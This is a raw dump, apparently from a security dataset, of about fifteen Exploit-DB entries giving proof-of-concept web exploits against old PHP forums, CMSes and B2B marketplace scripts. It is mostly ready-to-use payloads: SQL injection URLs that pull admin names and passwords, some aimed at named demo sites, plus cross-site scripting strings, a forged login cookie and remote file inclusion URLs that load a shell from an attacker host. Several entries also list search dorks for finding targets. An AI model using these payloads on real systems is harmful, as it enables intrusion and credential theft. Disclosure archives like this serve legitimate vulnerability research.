deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1547
Description: Aztek Forum 4.00 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2006-03-02
Author: lorenzo

Exploit:
/*==========================================*/
// AZTEK forums 4.0 multiple vulnerabilities (PoC)
// Product: AZTEK forums
// URL: http://www.forum-aztek.com/
// RISK: high
/*==========================================*/

[PoC]

1- XSS
	- Post a message including the following line: &lt;/textarea&gt;'"><script>alert(document.cookie)</script>
	- Valid.
	- Click on "Citer" to execute the script.

	You can also do it with the edit button (after loging in).

2-
	Do the following request : http://SOME_HOST/forum/index.php?msg=*/*
	It will dump a MySQL error message which can dump login:pw infos.

3-
	- Register with :
	login : 6b 66 73 6a 64 61 20 54 50 68 70 45 72 72 6f 72 45 78 63 65
	70 74 69 6f 6e 0d 0a 44 65 73 63 72 69 70 74 69 6f 6e 0d 0a 5b 57 61
	72 6e 69 6e 67 5d 20 6d 79 73 71 6c 5f 63 6f 6e 6e 65 63 74 28 29 20
	5b 3c 61 20 68 72 65 66 3d 27 66 75
        [...a huge login name...]
	6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e 6e 65 63 74 27 3e 66
	75 6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e
	[CREDENTIAL_REDACTED]
	email:blabla@gmail.com
	- Valid.

	This form is not validated at all, so it can cause a MySQL error like :

	Mysql error in file 
	/home/httpd/vhosts/www.**********.com/web/forum/index/actions.php in
	function subscribe at line 222

	Mysql query error :
	INSERT INTO atk_users (login,owner,passwd,email,show_email,alert_mp,subscribe)
		VALUES ('6b 66 73 6a 64 61 20 54 50 68 
	[...]','admin','atHax4CLQE42Q','blabla@gmail.com','1','1','[PII_REDACTED]')

	Please note this error and contact your administrator.

--
PoC by lorenzo [GHT], http://ght.c.la/

# milw0rm.com [2006-03-02]
Exploit-DB #2943
Description: Azucar CMS 1.3 - '/admin/index_sitios.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-12-18
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ Azucar CMS <= 1.3 (_VIEW) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: Azucar CMS <= 1.3
+ Download ..........: http://downloads.sourceforge.net/azucarcms/azucarcms1.3.zip
+ Description .......: "Azucar is a modular content management system designed to be extremely user friendly"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Azucar CMS admin/index_sitios.php uses the include function insecurely on the $_GET[_VIEW]
+ paramater passed to the script, a remote file can be specified and executed on the server.
+
+ Vulnerable Code: 
+ admin/index_sitios.php, line(s) 14-15:
+ -> 14-15: if (isset($_GET[_VIEW])) include($_GET[_VIEW]);
+
+ Proof Of Concept:
+ http://[target]/[path]/admin/index_sitios.php?_VIEW=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-18]
Exploit-DB #5702
Description: Azuresites CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-31
Author: Lidloses_Auge

Exploit:
###############################################################
#
#        AzureSites CMS - Multiple Vulnerabilities
#
#   Vulnerabilities discovered by: Lidloses_Auge
#   Greetz to:                     -=Player=- , Suicide, g4ms3, enco,
#                                  GPM, Free-Hack, Ciphercrew, h4ck-y0u
#   Date:                          26.05.2008
#
###############################################################
#
#   Vulnerabilities:
#
#   1.) SQL Injection
#
#      1.1.) [Target]/index.php?page=null'union+select+1,2,3,4,5,concat_ws(0x202d20,id,nickname,password),7,8+from+members/*
#      1.2.) [Target]/index.php?page=null&lang=null'union+select+1,2,3,4,5,6,7,8/*
#      1.3.) [Target]/index.php?action=view_item&view_id=429&id_cat=null+union+select+1,2,3,4,5,6,7,8/*
#      1.4.) [Target]/index.php?action=view_item&view_id=null+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
#
#   2.) Insecure Cookie Handling
#
#      2.1.) Cookie: loggedin=1; ID=1
#
#   Notes:
#
#      SQL Injection:
#
#         The count of columns could be different. It depends on the injection. Some of them are Blind Injections.
#
#      Insecure Cookie Handling:
#
#         Use "Live HTTP Headers" to change the Cookie Value in the Header.
#         The ID depends on the UserID, you want to login with.
#         Admin Panel can be found at: [Target]/azureadmin/index.php
#
###############################################################

# milw0rm.com [2008-05-31]
Exploit-DB #12646
Description: B-Hind CMS (tiny_mce) - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-18
Author: innrwrld & h00die

Exploit:
####################################################
#Title: B-Hind CMS (tiny_mce) Remote File Upload
#Vendor: http://www.b-hind.eu/
####################################################
#AUTHOR: innrwrld & h00die
####################################################

#DESCRIPTION (by vendor):###########################
B-interference Lite is a simple CMS for *small websites*. Ideal for local
merchants or organizations. The content of page can be adjusted by*a simple
double click* on the text or title in question. bijmaken a page and / or
removal is easy to use buttons on the website menu.The system is naturally*
multilingual*.

#POC:###############################################
http://site.com/admin/includes/tiny_mce/plugins/tinybrowser/upload.php

#[EOF]
Exploit-DB #4102
Description: b1gbb 2.24.0 - 'footer.inc.php?tfooter' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-25
Author: Rf7awy

Exploit:
# b1gBB (b1g Bulletion Board) (footer.inc.php) Remote File Inclusion
Vulnerabilities

# D.Script :
     http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip

# V.Code :
     include $tfooter

# In :
     footer.inc.php

# Exploits :
http://www.name/path/footer.inc.php?tfooter=shell?


# Discovered by:
     Rf7awy
x59@hotmail.it

thanks
Mahmood_ali

# Homepage:
     http://www.Tryag.Com/cc

# Sp.Thanx To :
     Tryag-Team

# milw0rm.com [2007-06-25]
Exploit-DB #4122
Description: b1gbb 2.24.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-28
Author: GoLd_M

Exploit:
# b1gbb 2.24.0 (SQL/XSS) Remote Vulnerabilities

# D.Script :
     http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip

# Exploits SQL :
     
//showthread.php?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concat(username,passwort),8%20FROM%20cebb_user%20%20where%20id=1/*
     OR
     
/showboard.php?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concat(username,passwort),8%20FROM%20cebb_user%20%20where%20id=1/*
     Demo
     
http://www.gkovacs.de/forum/showboard.php?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concat(username,passwort),8%20FROM%20cebb_user%20%20where%20id=1/*

# Exploit XSS :
     /visitenkarte.php?user=%22%3E%3Cscript%3Ealert(1);%3C/script%3E

# Dork:
       "powered by b1gBB (b1g Bulletion Board)"


# Discovered by:
       GoLd_M = [Mahmood_ali] & t0pP8uZz

# Homepage:
     http://www.Tryag.Com/cc

# Sp.Thanx To :
       Tryag-Team & G0t-Root.Net

# milw0rm.com [2007-06-28]
Exploit-DB #30596
Description: b1gMail 6.3.1 - 'hilfe.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-09-17
Author: malibu.r

Exploit:
source: https://www.securityfocus.com/bid/25699/info

b1gMail is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

b1gMail 6.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/hilfe.php?chapter="+onmouseover=alert[PII_REDACTED])+
Exploit-DB #21436
Description: B2 0.6 - 'b2edit.showposts.php?b2inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-05-06
Author: Frank

Exploit:
source: https://www.securityfocus.com/bid/4673/info

B2 is a news/weblog tool written in php. b2 allows webmasters to quickly post news on the frontpage, and let viewers interact with each other. It is available primarily for Unix and Linux.

A variable that is referenced in the PHP scripts does not actually exist. Thus, an attacker may be able to define the value of the variable. By creating a PHP script on the remote side and embedding commands in it, the attacker is able to reference the remote file. This could potentially allow the attacker to execute commands on the vulnerable system. 

http://www.vulnerablehost.com/b2/b2-include/b2edit.showposts.php?b2inc=http://www.attacker.com&cmd=ls
Exploit-DB #2983
Description: b2 Blog 0.5 - 'b2verifauth.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-23
Author: mdx

Exploit:
******************************************************************************************************
*b2 - 0.5 * [index] ******************* Remote File Ýnclude*******************************************
******************************************************************************************************
******************************************* +class : Remote File Include Vulnerability*
+******************************************************************************************************************
+Author : mdx                                                               
*
*****************************************************************************
+Files :                                                                    *
+b2verifauth.php? 							    *
*                                                                           *
**********************************************************************************
+code  :								         *
+									         *
+         include($index);							 *
+									         *
*********************************************************************************************
+ Exploit  :										    *
+********************************************************************************************+
+ http://www.site.***/[path]/b2verifauth.php?index=http://mdxshell.txt?  		     +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
=================================================================================================================
?		   Hi , The_bat_hacker , How are you ? ;=) 				     			*
?											     			*
? Thanks ; Cyber-WARRIOR TIM USERS, xoron , prohack ,leak , Ozii ,padisah, sakkure ,zip,y.$il abbad, dreamlord  *
?											     			*
?////////////////////////////////////////////////////////////////////////////////////////////////////////////////
?---------------------specials thanks  stroke ,SHiKaA----------------------------------------*
**********************************************************************************************
*******************									     *
*******************                   KORKULARINIZ SADECE KABUSLARINIZDIR..  		     *
*******************									     *
*******************                        Turkish Hacker by mdx  			     *
******************* 		   							     *
*******************                        Korkmak Kurtulmak Degildir.			     *
*******************              							     *
**********************************************************************************************

# milw0rm.com [2006-12-23]
Exploit-DB #41140
Description: B2B Alibaba Clone Script - 'IndustryID' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-20
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: B2B Alibaba Clone Script - SQL Injection
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: https://www.clonescriptsoft.com/
# Software Buy: https://www.clonescriptsoft.com/collections/b2b-alibaba-clone/products/alibaba-clone
# Demo: http://alibaba.clonescriptsoft.com/
# Version: N/A
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/category.php?IndustryID=[SQL]
# E.t.c....
# # # # #


SQL Injection
http://alibaba.clonescriptsoft.com/category.php?IndustryID=-1+union+select+1,2,version()

http://alibaba.clonescriptsoft.com/category.php?IndustryID=-1+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()--
Exploit-DB #12532
Description: B2B Classic Trading Script - 'offers.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-08
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
  B2B Classic Trading Script (offers.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: May, 08-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: B2B Classic Trading Script
Vendor  	: http://www.alibabaclone.com/
Price		: $499 USD
Google Dork	: allinurl:offers.php?id=
Overview	:

B2B trading Marketplace Script clone of alibaba Marketplace script is a 
wonderful solution to launch your own business to business and b2c site. 
Script is packed with lot of features to provide a very sound foundation 
to your trading portal site.
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+0,0,group_concat(es_admin_name,char(58),es_pwd)v3n0m,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+esb2b_admin--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/offers.php?id=[SQLi]
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on'
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (ah payah c4uR dipeser cengeng bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- elicha cristia [ kangen juga yach :) ]
- N.O.C & Technical Support @office
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
	  http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]--------------------------------
Exploit-DB #12460
Description: B2B Gold Script - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-30
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
            B2B Gold Script (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: April, 30-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: B2B Gold Script
Vendor  	: http://www.alibabaclone.com/
Price		: $499 USD
Google Dork	: Use your brain & imagination :)
Overview	:

B2B trading Marketplace Script clone of alibaba Marketplace script is a 
wonderful solution to launch your own business to business and b2c site. 
Script is packed with lot of features to provide a very sound foundation 
to your trading portal site.
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+0,0,group_concat(es_admin_name,char(58),es_pwd)v3n0m,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+esb2b_admin--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/product.html?id=[SQLi]
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (ah payah c4uR dipeser cengeng bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
	  http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]--------------------------------
Exploit-DB #41727
Description: B2B Marketplace Script 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-26
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: B2B Marketplace Script v2.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://eaglescripts.com/php-b2b-marketplace-script-v2
# Demo: http://demob2b.xyz/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/ajax.php?section=count_classified&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_tradeleade&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_product&pro_id=[SQL]
# Etc...
# # # # #
Exploit-DB #41116
Description: B2B Script 4.27 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Dawid Morawski

Exploit:
# Vulnerability: B2B Script v4.27 - SQL Injection
# Date: 18.01.2017
# Software link: http://itechscripts.com/b2b-script/
# Demo: http://b2b.itechscripts.com
# Price: 199$
# Category: webapps
# Exploit Author: Dawid Morawski
# Website: http://www.morawskiweb.pl
# Contact: dawidmorawski1990@gmail.com
#######################################

1. Description
An attacker can exploit this vulnerability to read from the database.

2. SQL Injection / Proof of Concept:

http://localhost/[PATH]/search.php?keywords=[SQL]
SQLmap outout:

Parameter: keywords (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: keywords=-7908') OR 3641=3641#

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: keywords=Products') UNION ALL SELECT
NULL,CONCAT(0x716b7a7871,0x[PII_REDACTED]6965586e6b[PII_REDACTED]6b487a43564c6963646e556549454e476177776a5a6a7a4c4c,0x71767a7a71)#
---
[INFO] testing MySQL
 [INFO] confirming MySQL
 [INFO] the back-end DBMS is MySQL

#########################################

http://localhost/[PATH]/catcompany.php?token=[SQL]
SQLmap outout:

Parameter: token (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: token=7532a5bfc9e07964f8dddeb95fc584cd965d' AND 9125=9125 AND
'HhOm'='HhOm

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: token=7532a5bfc9e07964f8dddeb95fc584cd965d' AND SLEEP(5) AND
'dWKJ'='dWKJ

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: token=-7417' UNION ALL SELECT
NULL,CONCAT(0x[PII_REDACTED],0x6a6c6d484f58726e[PII_REDACTED]7a[PII_REDACTED][PII_REDACTED]416856527a634a704f4b79647a494654,0x716b786271),NULL,NULL,NULL,NULL--
aNXq
Exploit-DB #10393
Description: B2C Booking Centre Systems - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-11
Author: Salvatore Fresta

Exploit:
 Name              B2D Booking Centre Systems
 Vendor            http://www.bookingcentre.eu

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2009-12-11

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 VI.   DISCLOSURE TIMELINE


I. ABOUT THE APPLICATION

Booking Centre Systems is a multilingual low cost and high
performance software solution for any Individual Hotel  or
Hotels Group or Portal Tourist.


II. DESCRIPTION

All  parameters  of  this  application  are  not  properly
sanitised and are affected to SQL Injection.


III. ANALYSIS

Summary:

 A) SQL Injection

A) SQL Injection

All parameters are not properly sanitised and in order to
exploit they, the Magic Quotes GPG may be On.


IV. SAMPLE CODE

http://site/hotel_tiempolibre_ext.php?HotelID=4&NoticiaID=-1 UNION ALL
SELECT 1,2,3,version(),5,user(),7,8,9%23


V. FIX

No patch.